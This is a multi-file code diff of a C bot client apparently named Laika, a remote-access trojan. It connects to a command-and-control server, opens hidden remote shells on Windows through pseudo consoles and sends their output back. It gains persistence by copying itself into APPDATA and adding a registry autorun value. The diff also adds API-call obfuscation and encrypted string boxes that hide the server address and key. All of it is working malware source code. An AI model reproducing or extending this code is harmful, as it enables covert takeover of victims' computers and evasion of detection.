peer->sock.flipEndian = endianness != laikaS_isBigEndian();
LAIKA_DEBUG("handshake accepted by cnc! got endian flag : %s\n", (endianness ? "TRUE" : "FALSE"));
peer->sock.flipEndian = endianness != laikaM_isBigEndian();
/* set peer salt */
laikaS_setSalt(peer, saltBuf);
/* sent PEER_LOGIN packet */
laikaS_startOutPacket(peer, LAIKAPKT_PEER_LOGIN_REQ);
laikaS_writeByte(&peer->sock, PEER_BOT);
laikaS_write(&peer->sock, saltBuf, LAIKA_HANDSHAKE_SALT_LEN);
laikaS_endOutPacket(peer);
LAIKA_DEBUG("handshake accepted by cnc! got endian flag : %s\n",
(endianness ? "TRUE" : "FALSE"));
}
void laikaB_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
void laikaB_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
{
LAIKA_DEBUG("got ping from cnc!\n");
/* stubbed */
}
/* =============================================[[ Packet Tables ]]============================================== */
/* ====================================[[ Packet Tables ]]===================================== */
/* clang-format off */
struct sLaika_peerPacketInfo laikaB_pktTbl[LAIKAPKT_MAXNONE] = {
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_HANDSHAKE_RES,
laikaB_handleHandshakeResponse,
sizeof(uint8_t),
sizeof(uint8_t) + LAIKA_HANDSHAKE_SALT_LEN,
false),
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_PINGPONG,
laikaB_handlePing,
@@ -38,38 +56,37 @@ struct sLaika_peerPacketInfo laikaB_pktTbl[LAIKAPKT_MAXNONE] = {
false),
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_DATA,
laikaB_handleShellData,
0,
sizeof(uint32_t), /* packet must be bigger than this */
true),
};
/* clang-format on */
/* socket event */
void laikaB_onPollFail(struct sLaika_socket *sock, void *uData) {
struct sLaika_peer *peer = (struct sLaika_peer*)sock;
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
void laikaB_onPollFail(struct sLaika_socket *sock, void *uData)
{
struct sLaika_peer *peer = (struct sLaika_peer *)sock;
struct sLaika_bot *bot = (struct sLaika_bot *)uData;
laikaS_kill(&bot->peer->sock);
}
/* ==================================================[[ Bot ]]=================================================== */
/* ==========================================[[ Bot ]]========================================== */
struct sLaika_bot *laikaB_newBot(void) {
struct sLaika_bot *laikaB_newBot(void)
{
LAIKA_BOX_SKID_START(char *, cncPubKey, LAIKA_PUBKEY);
struct sLaika_bot *bot = laikaM_malloc(sizeof(struct sLaika_bot));
struct hostent *host;
char *tempINBuf;
size_t _unused;
int i;
laikaP_initPList(&bot->pList);
bot->peer = laikaS_newPeer(
laikaB_pktTbl,
&bot->pList,
laikaB_onPollFail,
(void*)bot,
(void*)bot
);
bot->peer =
laikaS_newPeer(laikaB_pktTbl, &bot->pList, laikaB_onPollFail, (void *)bot, (void *)bot);
laikaT_initTaskService(&bot->tService);
laikaT_newTask(&bot->tService, 5000, laikaB_pingTask, (void*)bot);
laikaT_newTask(&bot->tService, LAIKA_PING_INTERVAL, laikaB_pingTask, (void *)bot);
/* init shells */
for (i = 0; i < LAIKA_MAX_SHELLS; i++) {
@@ -90,7 +107,7 @@ struct sLaika_bot *laikaB_newBot(void) {
}
/* read cnc's public key into peerPub */
if (!laikaK_loadKeys(bot->peer->peerPub, NULL, LAIKA_PUBKEY, NULL)) {
if (!laikaK_loadKeys(bot->peer->peerPub, NULL, cncPubKey, NULL)) {
laikaB_freeBot(bot);
LAIKA_ERROR("Failed to init cnc public key!\n");
}
@@ -106,17 +123,19 @@ struct sLaika_bot *laikaB_newBot(void) {
LAIKA_ERROR("gethostbyname() failed!\n");
}
if ((tempINBuf = inet_ntoa(*((struct in_addr*)host->h_addr_list[0]))) == NULL) {
if ((tempINBuf = inet_ntoa(*((struct in_addr *)host->h_addr_list[0]))) == NULL) {
laikaB_freeBot(bot);
LAIKA_ERROR("inet_ntoa() failed!\n");
}
/* copy inet address info */
strcpy(bot->peer->inet, tempINBuf);
LAIKA_BOX_SKID_END(cncPubKey);
return bot;
}
void laikaB_freeBot(struct sLaika_bot *bot) {
void laikaB_freeBot(struct sLaika_bot *bot)
{
int i;
/* clear shells */
@@ -131,7 +150,8 @@ void laikaB_freeBot(struct sLaika_bot *bot) {
laikaM_free(bot);
}
void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port) {
void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port)
{
struct sLaika_socket *sock = &bot->peer->sock;
/* setup socket */
@@ -146,17 +166,23 @@ void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port) {
laikaS_writeByte(sock, LAIKA_VERSION_MAJOR);
laikaS_writeByte(sock, LAIKA_VERSION_MINOR);
laikaS_writeByte(sock, LAIKA_OSTYPE);
laikaS_write(sock, bot->pub, sizeof(bot->pub)); /* write public key */
/* write public key */
laikaS_write(sock, bot->pub, sizeof(bot->pub));
laikaS_write(sock, bot->peer->hostname, LAIKA_HOSTNAME_LEN);
laikaS_write(sock, bot->peer->inet, LAIKA_INET_LEN);
laikaS_endOutPacket(bot->peer);
laikaS_setSecure(bot->peer, true); /* after the cnc receives our handshake, our packets will be encrypted */
if (crypto_kx_client_session_keys(bot->peer->inKey, bot->peer->outKey, bot->pub, bot->priv, bot->peer->peerPub) != 0)
/* after the cnc receives our handshake, our packets will be encrypted */
laikaS_setSecure(bot->peer, true);
if (crypto_kx_client_session_keys(bot->peer->inKey, bot->peer->outKey, bot->pub, bot->priv,
bot->peer->peerPub) != 0)
LAIKA_ERROR("failed to gen session key!\n");
}
bool laikaB_poll(struct sLaika_bot *bot) {
bool laikaB_poll(struct sLaika_bot *bot)
{
struct sLaika_pollEvent *evnt;
int numEvents;
@@ -177,8 +203,10 @@ bool laikaB_poll(struct sLaika_bot *bot) {
return true;
}
void laikaB_pingTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) {
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
void laikaB_pingTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick,
void *uData)
{
struct sLaika_bot *bot = (struct sLaika_bot *)uData;
laikaS_emptyOutPacket(bot->peer, LAIKAPKT_PINGPONG);
}

View File

@@ -1,24 +1,40 @@
#include "bot.h"
#include "core/lbox.h"
#include "core/lerror.h"
#include "core/ltask.h"
#include "lconfig.h"
#include "lobf.h"
#include "persist.h"
#include "shell.h"
#include <stdio.h>
#include "lbox.h"
#include "lconfig.h"
#include "lerror.h"
#include "ltask.h"
#include "bot.h"
#include "shell.h"
#include "persist.h"
/* if LAIKA_PERSISTENCE is defined, this will specify the timeout for
retrying to connect to the CNC server */
#define LAIKA_RETRY_CONNECT 5
#ifdef _WIN32
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR lpCmdLine, INT nCmdShow) {
# ifndef LAIKA_DEBUG_BUILD
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR lpCmdLine, INT nCmdShow)
{
# else
int main()
{
# endif
#else
int main() {
int main()
{
#endif
/* these boxes are really easy to dump, they're unlocked at the very start of execution and left in memory the entire time.
not only that but they're only obfuscating the ip & port, both are things anyone would see from opening wireshark */
LAIKA_BOX_SKID_START(char*, cncIP, LAIKA_CNC_IP);
LAIKA_BOX_SKID_START(char*, cncPORT, LAIKA_CNC_PORT);
/* these boxes are really easy to dump, they're unlocked at the very start of execution and left
in memory the entire time. not only that but they're only obfuscating the ip & port, both are
things anyone would see from opening wireshark */
LAIKA_BOX_SKID_START(char *, cncIP, LAIKA_CNC_IP);
LAIKA_BOX_SKID_START(char *, cncPORT, LAIKA_CNC_PORT);
struct sLaika_bot *bot;
/* init API obfuscation (windows only) */
laikaO_init();
#ifdef LAIKA_PERSISTENCE
laikaB_markRunning();
@@ -41,11 +57,11 @@
/* bot was killed or it threw an error */
laikaB_freeBot(bot);
#ifdef LAIKA_PERSISTENCE
#ifdef _WIN32
Sleep(5000);
#else
sleep(5);
#endif
# ifdef _WIN32
Sleep(LAIKA_RETRY_CONNECT*1000);
# else
sleep(LAIKA_RETRY_CONNECT);
# endif
} while (1);
laikaB_unmarkRunning();

View File

@@ -1,29 +1,34 @@
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include "lerror.h"
#include "lmem.h"
#include "bot.h"
#include "shell.h"
struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id) {
#include "bot.h"
#include "core/lerror.h"
#include "core/lmem.h"
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id)
{
if (bot->activeShells++ > LAIKA_MAX_SHELLS)
LAIKA_ERROR("Failed to allocate new shell, max shells reached!\n");
/* start shell task */
if (!bot->shellTask)
bot->shellTask = laikaT_newTask(&bot->tService, LAIKA_SHELL_TASK_DELTA, laikaB_shellTask, (void*)bot);
bot->shellTask =
laikaT_newTask(&bot->tService, LAIKA_SHELL_TASK_DELTA, laikaB_shellTask, (void *)bot);
return bot->shells[id] = laikaB_newRAWShell(bot, cols, rows, id);
}
void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell)
{
uint32_t id = shell->id;
/* tell cnc shell is closed */
laikaS_startOutPacket(bot->peer, LAIKAPKT_SHELL_CLOSE);
laikaS_writeInt(&bot->peer->sock, &id, sizeof(uint32_t));
laikaS_writeu32(&bot->peer->sock, id);
laikaS_endOutPacket(bot->peer);
laikaB_freeRAWShell(bot, shell);
@@ -37,17 +42,18 @@ void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
}
}
/* ============================================[[ Packet Handlers ]]============================================= */
/* ====================================[[ Packet Handlers ]]==================================== */
void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
{
struct sLaika_bot *bot = (struct sLaika_bot *)uData;
struct sLaika_shell *shell;
uint32_t id;
uint16_t cols, rows;
laikaS_readInt(&peer->sock, &id, sizeof(uint32_t));
laikaS_readInt(&peer->sock, &cols, sizeof(uint16_t));
laikaS_readInt(&peer->sock, &rows, sizeof(uint16_t));
id = laikaS_readu32(&peer->sock);
cols = laikaS_readu16(&peer->sock);
rows = laikaS_readu16(&peer->sock);
/* check if shell is already open */
if (id > LAIKA_MAX_SHELLS || (shell = bot->shells[id]))
@@ -56,46 +62,50 @@ void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD
/* open shell & if we failed, tell cnc */
if ((shell = laikaB_newShell(bot, cols, rows, id)) == NULL) {
laikaS_startOutPacket(bot->peer, LAIKAPKT_SHELL_CLOSE);
laikaS_writeInt(&bot->peer->sock, &id, sizeof(uint32_t));
laikaS_writeu32(&bot->peer->sock, id);
laikaS_endOutPacket(bot->peer);
}
}
void laikaB_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
void laikaB_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
{
struct sLaika_bot *bot = (struct sLaika_bot *)uData;
struct sLaika_shell *shell;
uint32_t id;
laikaS_readInt(&peer->sock, &id, sizeof(uint32_t));
id = laikaS_readu32(&peer->sock);
/* check if shell is not running */
if (id > LAIKA_MAX_SHELLS || !(shell = bot->shells[id]))
LAIKA_ERROR("LAIKAPKT_SHELL_CLOSE requested on unopened shell!\n");
return;
/* close shell */
laikaB_freeShell(bot, shell);
}
void laikaB_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
void laikaB_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
{
char buf[LAIKA_SHELL_DATA_MAX_LENGTH];
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
struct sLaika_bot *bot = (struct sLaika_bot *)uData;
struct sLaika_shell *shell;
uint32_t id;
/* read data buf */
laikaS_readInt(&peer->sock, &id, sizeof(uint32_t));
laikaS_read(&peer->sock, buf, sz-sizeof(uint32_t));
id = laikaS_readu32(&peer->sock);
laikaS_read(&peer->sock, buf, sz - sizeof(uint32_t));
/* sanity check shell */
if (id > LAIKA_MAX_SHELLS || !(shell = bot->shells[id]))
LAIKA_ERROR("LAIKAPKT_SHELL_DATA requested on unopened shell!\n");
/* write to shell */
laikaB_writeShell(bot, shell, buf, sz-sizeof(uint32_t));
laikaB_writeShell(bot, shell, buf, sz - sizeof(uint32_t));
}
void laikaB_shellTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) {
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
void laikaB_shellTask(struct sLaika_taskService *service, struct sLaika_task *task,
clock_t currTick, void *uData)
{
struct sLaika_bot *bot = (struct sLaika_bot *)uData;
struct sLaika_shell *shell;
int i;

View File

@@ -1,28 +1,31 @@
/* platform specific code for achieving persistence on windows (FORCES ASCII) */
#include <windows.h>
#include <shlobj.h>
#include <shlwapi.h>
#include <windows.h>
#pragma comment(lib, "Shlwapi.lib")
#include "persist.h"
#include "core/lbox.h"
#include "core/lerror.h"
#include "core/lmem.h"
#include "core/lvm.h"
#include "lconfig.h"
#include "lmem.h"
#include "lerror.h"
#include "lvm.h"
#include "lbox.h"
#include "lobf.h"
#include "persist.h"
HANDLE laikaB_mutex;
/* check if laika is running as super-user */
bool laikaB_checkRoot() {
bool laikaB_checkRoot()
{
return true; /* stubbed for now */
}
/* mark that laika is currently running */
void laikaB_markRunning() {
LAIKA_BOX_SKID_START(char*, mutex, LAIKA_WIN_MUTEX);
void laikaB_markRunning()
{
LAIKA_BOX_SKID_START(char *, mutex, LAIKA_WIN_MUTEX);
laikaB_mutex = OpenMutexA(MUTEX_ALL_ACCESS, false, mutex);
@@ -37,46 +40,51 @@ void laikaB_markRunning() {
}
/* unmark that laika is currently running */
void laikaB_unmarkRunning() {
void laikaB_unmarkRunning()
{
ReleaseMutex(laikaB_mutex);
}
HKEY openReg(HKEY key, LPCSTR subKey) {
HKEY openReg(HKEY key, LPCSTR subKey)
{
HKEY hKey;
if (RegOpenKeyExA(key, subKey, 0, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS)
if (oRegOpenKeyExA(key, subKey, 0, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS)
LAIKA_ERROR("Failed to open registry key!\n");
return hKey;
}
/* returns raw string value from registry */
LPSTR readReg(HKEY key, LPCSTR val, LPDWORD sz) {
LPSTR readReg(HKEY key, LPCSTR val, LPDWORD sz)
{
LPSTR str = NULL;
DWORD ret;
/* get the size */
*sz = 0;
RegQueryValueExA(key, val, NULL, NULL, NULL, sz);
oRegQueryValueExA(key, val, NULL, NULL, NULL, sz);
if (*sz != 0) {
str = (LPSTR)laikaM_malloc(*sz);
if ((ret = RegQueryValueExA(key, val, NULL, NULL, str, sz)) != ERROR_SUCCESS)
if ((ret = oRegQueryValueExA(key, val, NULL, NULL, str, sz)) != ERROR_SUCCESS)
LAIKA_ERROR("Failed to read registry!\n");
}
return str;
}
void writeReg(HKEY key, LPCSTR val, LPSTR data, DWORD sz) {
void writeReg(HKEY key, LPCSTR val, LPSTR data, DWORD sz)
{
LONG code;
if ((code = RegSetValueExA(key, val, 0, REG_SZ, (LPBYTE)data, sz)) != ERROR_SUCCESS)
if ((code = oRegSetValueExA(key, val, 0, REG_SZ, (LPBYTE)data, sz)) != ERROR_SUCCESS)
LAIKA_ERROR("Failed to write registry!\n");
}
void getExecutablePath(LPSTR path) {
void getExecutablePath(LPSTR path)
{
CHAR modulePath[MAX_PATH] = {0};
if (GetModuleFileNameA(NULL, modulePath, MAX_PATH) == 0)
LAIKA_ERROR("Failed to get executable path!\n");
@@ -88,12 +96,14 @@ void getExecutablePath(LPSTR path) {
LAIKA_DEBUG("EXE: %s\n", path);
}
void getInstallPath(LPSTR path) {
LAIKA_BOX_SKID_START(char*, instDir, LAIKA_WIN_INSTALL_DIR);
LAIKA_BOX_SKID_START(char*, instFile, LAIKA_WIN_INSTALL_FILE);
void getInstallPath(LPSTR path)
{
LAIKA_BOX_SKID_START(char *, instDir, LAIKA_WIN_INSTALL_DIR);
LAIKA_BOX_SKID_START(char *, instFile, LAIKA_WIN_INSTALL_FILE);
CHAR SHpath[MAX_PATH] = {0};
/* SHGetFolderPath is deprecated but,,,,, it's still here for backwards compatibility and microsoft will probably never completely remove it :P */
/* SHGetFolderPath is deprecated but,,,,, it's still here for backwards compatibility and
* microsoft will probably never completely remove it :P */
if (SHGetFolderPathA(NULL, CSIDL_APPDATA | CSIDL_FLAG_CREATE, NULL, 0, SHpath) != S_OK)
LAIKA_ERROR("Failed to get APPDATA!\n");
@@ -115,10 +125,11 @@ void getInstallPath(LPSTR path) {
LAIKA_BOX_SKID_END(instDir);
}
/* windows doesn't let you move/delete/modify any currently executing file (since a file handle to the executable is open), so we
spawn a shell to move the exe *after* we exit. */
void installSelf() {
CHAR szFile[MAX_PATH] = {0}, szInstall[MAX_PATH] = {0}, szCmd[(MAX_PATH*4)] = {0};
/* windows doesn't let you move/delete/modify any currently executing file (since a file handle to
the executable is open), so we spawn a shell to move the exe *after* we exit. */
void installSelf()
{
CHAR szFile[MAX_PATH] = {0}, szInstall[MAX_PATH] = {0}, szCmd[(MAX_PATH * 4)] = {0};
getExecutablePath(szFile);
getInstallPath(szInstall);
@@ -130,24 +141,27 @@ void installSelf() {
LAIKA_DEBUG("moving '%s' to '%s'!\n", szFile, szInstall);
/* wait for 3 seconds (so our process has time to exit) & move the exe, then restart laika */
lstrcpyA(szCmd, "/C timeout /t 3 > NUL & move /Y "); /* TODO: move this string to a secret box */
/* wait for 3 seconds (so our process has time to exit) & move the exe, then restart laika
* TODO: move this string to a secret box */
lstrcpyA(szCmd, "/C timeout /t 3 > NUL & move /Y ");
lstrcatA(szCmd, szFile);
lstrcatA(szCmd, " ");
lstrcatA(szCmd, szInstall);
lstrcatA(szCmd, " > NUL & ");
lstrcatA(szCmd, szInstall);
if (GetEnvironmentVariableA("COMSPEC", szFile, MAX_PATH) == 0 || (INT)ShellExecuteA(NULL, NULL, szFile, szCmd, NULL, SW_HIDE) <= 32)
if (GetEnvironmentVariableA("COMSPEC", szFile, MAX_PATH) == 0 ||
(INT)oShellExecuteA(NULL, NULL, szFile, szCmd, NULL, SW_HIDE) <= 32)
LAIKA_ERROR("Failed to start shell for moving exe!\n");
laikaB_unmarkRunning();
exit(0);
}
void installRegistry() {
LAIKA_BOX_SKID_START(char*, regKey, LAIKA_WIN_REG_KEY);
LAIKA_BOX_SKID_START(char*, regKeyVal, LAIKA_WIN_REG_VAL);
void installRegistry()
{
LAIKA_BOX_SKID_START(char *, regKey, LAIKA_WIN_REG_KEY);
LAIKA_BOX_SKID_START(char *, regKeyVal, LAIKA_WIN_REG_VAL);
CHAR newRegValue[MAX_PATH] = {0};
LPSTR regVal;
DWORD regSz;
@@ -176,18 +190,20 @@ void installRegistry() {
writeReg(reg, regKeyVal, newRegValue, newRegSz);
}
RegCloseKey(reg);
oRegCloseKey(reg);
LAIKA_BOX_SKID_END(regKeyVal);
LAIKA_BOX_SKID_END(regKey);
}
/* try to gain persistance on machine */
void laikaB_tryPersist() {
void laikaB_tryPersist()
{
installRegistry();
installSelf();
}
/* try to gain root */
void laikaB_tryRoot() {
void laikaB_tryRoot()
{
/* stubbed */
}

View File

@@ -1,14 +1,16 @@
/* platform specific code for opening shells (pseudo consoles) on windows */
#include "lerror.h"
#include "lmem.h"
#include "bot.h"
#include "core/lerror.h"
#include "core/lmem.h"
#include "lobf.h"
#include "shell.h"
#include <windows.h>
#include <process.h>
#include <windows.h>
/* shells are significantly more complex on windows than linux for laika */
struct sLaika_RAWshell {
struct sLaika_RAWshell
{
struct sLaika_shell _shell;
HANDLE in, out;
PROCESS_INFORMATION procInfo;
@@ -16,12 +18,15 @@ struct sLaika_RAWshell {
HPCON pseudoCon;
};
HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPipeOut, int cols, int rows);
HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPipeOut, int cols,
int rows);
HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo, HPCON hPC);
struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id) {;
TCHAR szComspec[MAX_PATH];
struct sLaika_RAWshell* shell = (struct sLaika_RAWshell*)laikaM_malloc(sizeof(struct sLaika_RAWshell));
struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id)
{
CHAR szComspec[MAX_PATH];
struct sLaika_RAWshell *shell =
(struct sLaika_RAWshell *)laikaM_malloc(sizeof(struct sLaika_RAWshell));
HRESULT hr;
ZeroMemory(shell, sizeof(struct sLaika_RAWshell));
@@ -35,7 +40,7 @@ struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int ro
}
/* get user's shell path */
if (GetEnvironmentVariable("COMSPEC", szComspec, MAX_PATH) == 0) {
if (GetEnvironmentVariableA("COMSPEC", szComspec, MAX_PATH) == 0) {
laikaM_free(shell);
return NULL;
}
@@ -43,41 +48,42 @@ struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int ro
/* create process */
hr = InitializeStartupInfoAttachedToPseudoConsole(&shell->startupInfo, shell->pseudoCon);
if (hr != S_OK) {
ClosePseudoConsole(shell->pseudoCon);
oClosePseudoConsole(shell->pseudoCon);
laikaM_free(shell);
return NULL;
}
/* launch cmd shell */
hr = CreateProcess(
NULL, /* No module name - use Command Line */
szComspec, /* Command Line */
NULL, /* Process handle not inheritable */
NULL, /* Thread handle not inheritable */
FALSE, /* Inherit handles */
EXTENDED_STARTUPINFO_PRESENT, /* Creation flags */
NULL, /* Use parent's environment block */
NULL, /* Use parent's starting directory */
&shell->startupInfo.StartupInfo,/* Pointer to STARTUPINFO */
&shell->procInfo) /* Pointer to PROCESS_INFORMATION */
? S_OK : HRESULT_FROM_WIN32(GetLastError());
hr = oCreateProcessA(NULL, /* No module name - use Command Line */
szComspec, /* Command Line */
NULL, /* Process handle not inheritable */
NULL, /* Thread handle not inheritable */
FALSE, /* Inherit handles */
EXTENDED_STARTUPINFO_PRESENT, /* Creation flags */
NULL, /* Use parent's environment block */
NULL, /* Use parent's starting directory */
&shell->startupInfo.StartupInfo, /* Pointer to STARTUPINFO */
&shell->procInfo) /* Pointer to PROCESS_INFORMATION */
? S_OK
: HRESULT_FROM_WIN32(GetLastError());
if (hr != S_OK) {
DeleteProcThreadAttributeList(shell->startupInfo.lpAttributeList);
laikaM_free(shell->startupInfo.lpAttributeList);
ClosePseudoConsole(shell->pseudoCon);
oClosePseudoConsole(shell->pseudoCon);
laikaM_free(shell);
return NULL;
}
return (struct sLaika_shell*)shell;
return (struct sLaika_shell *)shell;
}
void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell;
void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *_shell)
{
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell *)_shell;
/* kill process (it's ok if it fails) */
TerminateProcess(shell->procInfo.hProcess, 0);
@@ -91,16 +97,19 @@ void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
laikaM_free(shell->startupInfo.lpAttributeList);
/* close pseudo console */
ClosePseudoConsole(shell->pseudoCon);
oClosePseudoConsole(shell->pseudoCon);
/* free shell struct */
laikaM_free(shell);
}
/* ============================================[[ Shell Handlers ]]============================================= */
/* ====================================[[ Shell Handlers ]]===================================== */
/* edited from https://github.com/microsoft/terminal/blob/main/samples/ConPTY/EchoCon/EchoCon/EchoCon.cpp */
HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPipeOut, int cols, int rows) {
/* edited from
* https://github.com/microsoft/terminal/blob/main/samples/ConPTY/EchoCon/EchoCon/EchoCon.cpp */
HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPipeOut, int cols,
int rows)
{
COORD consoleSize = (COORD){.X = cols, .Y = rows};
HANDLE hPipePTYIn = INVALID_HANDLE_VALUE;
HANDLE hPipePTYOut = INVALID_HANDLE_VALUE;
@@ -108,27 +117,32 @@ HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPip
DWORD mode = PIPE_NOWAIT;
/* create the pipes to which the ConPTY will connect */
if (!CreatePipe(&hPipePTYIn, phPipeOut, NULL, 0) || !CreatePipe(phPipeIn, &hPipePTYOut, NULL, 0))
if (!CreatePipe(&hPipePTYIn, phPipeOut, NULL, 0) ||
!CreatePipe(phPipeIn, &hPipePTYOut, NULL, 0))
return HRESULT_FROM_WIN32(GetLastError());
/* anon pipes can be set to non-blocking for backwards compatibility. this makes our life much easier so it fits in nicely with
the rest of the laika codebase (https://docs.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-setnamedpipehandlestate) */
/* anon pipes can be set to non-blocking for backwards compatibility. this makes our life much
easier so it fits in nicely with the rest of the laika codebase
(https://docs.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-setnamedpipehandlestate)
*/
if (!SetNamedPipeHandleState(*phPipeIn, &mode, NULL, NULL))
return HRESULT_FROM_WIN32(GetLastError());
/* create the pseudo console of the required size, attached to the PTY - end of the pipes */
hr = CreatePseudoConsole(consoleSize, hPipePTYIn, hPipePTYOut, 0, phPC);
hr = oCreatePseudoConsole(consoleSize, hPipePTYIn, hPipePTYOut, 0, phPC);
/* we can close the handles to the PTY-end of the pipes here
because the handles are dup'ed into the ConHost and will be released
when the ConPTY is destroyed. */
because the handles are dup'ed into the ConHost and will be released
when the ConPTY is destroyed. */
CloseHandle(hPipePTYOut);
CloseHandle(hPipePTYIn);
return hr;
}
/* also edited from https://github.com/microsoft/terminal/blob/main/samples/ConPTY/EchoCon/EchoCon/EchoCon.cpp */
HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo, HPCON hPC) {
/* also edited from
* https://github.com/microsoft/terminal/blob/main/samples/ConPTY/EchoCon/EchoCon/EchoCon.cpp */
HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo, HPCON hPC)
{
HRESULT hr = E_UNEXPECTED;
if (pStartupInfo) {
@@ -140,19 +154,15 @@ HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo
pStartupInfo->lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)laikaM_malloc(attrListSize);
/* Initialize thread attribute list */
if (pStartupInfo->lpAttributeList
&& InitializeProcThreadAttributeList(pStartupInfo->lpAttributeList, 1, 0, &attrListSize)){
if (pStartupInfo->lpAttributeList &&
InitializeProcThreadAttributeList(pStartupInfo->lpAttributeList, 1, 0, &attrListSize)) {
/* Set Pseudo Console attribute */
hr = UpdateProcThreadAttribute(
pStartupInfo->lpAttributeList,
0,
PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE,
hPC,
sizeof(HPCON),
NULL,
NULL)
? S_OK : HRESULT_FROM_WIN32(GetLastError());
hr = UpdateProcThreadAttribute(pStartupInfo->lpAttributeList, 0,
PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE, hPC, sizeof(HPCON),
NULL, NULL)
? S_OK
: HRESULT_FROM_WIN32(GetLastError());
} else {
hr = HRESULT_FROM_WIN32(GetLastError());
}
@@ -161,22 +171,25 @@ HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo
return hr;
}
bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t)];
struct sLaika_peer* peer = bot->peer;
struct sLaika_socket* sock = &peer->sock;
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell;
bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell)
{
char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH - sizeof(uint32_t)];
struct sLaika_peer *peer = bot->peer;
struct sLaika_socket *sock = &peer->sock;
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell *)_shell;
DWORD rd;
bool readSucc = ReadFile(shell->in, readBuf, LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t), &rd, NULL);
bool readSucc =
ReadFile(shell->in, readBuf, LAIKA_SHELL_DATA_MAX_LENGTH - sizeof(uint32_t), &rd, NULL);
if (readSucc) {
/* we read some input! send to cnc */
laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA);
laikaS_writeInt(sock, &shell->_shell.id, sizeof(uint32_t));
laikaS_writeu32(sock, shell->_shell.id);
laikaS_write(sock, readBuf, rd);
laikaS_endVarPacket(peer);
} else {
if (GetLastError() == ERROR_NO_DATA && WaitForSingleObject(shell->procInfo.hProcess, 0) == WAIT_TIMEOUT)
if (GetLastError() == ERROR_NO_DATA &&
WaitForSingleObject(shell->procInfo.hProcess, 0) == WAIT_TIMEOUT)
return true; /* recoverable, process is still alive */
/* unrecoverable error */
laikaB_freeShell(bot, _shell);
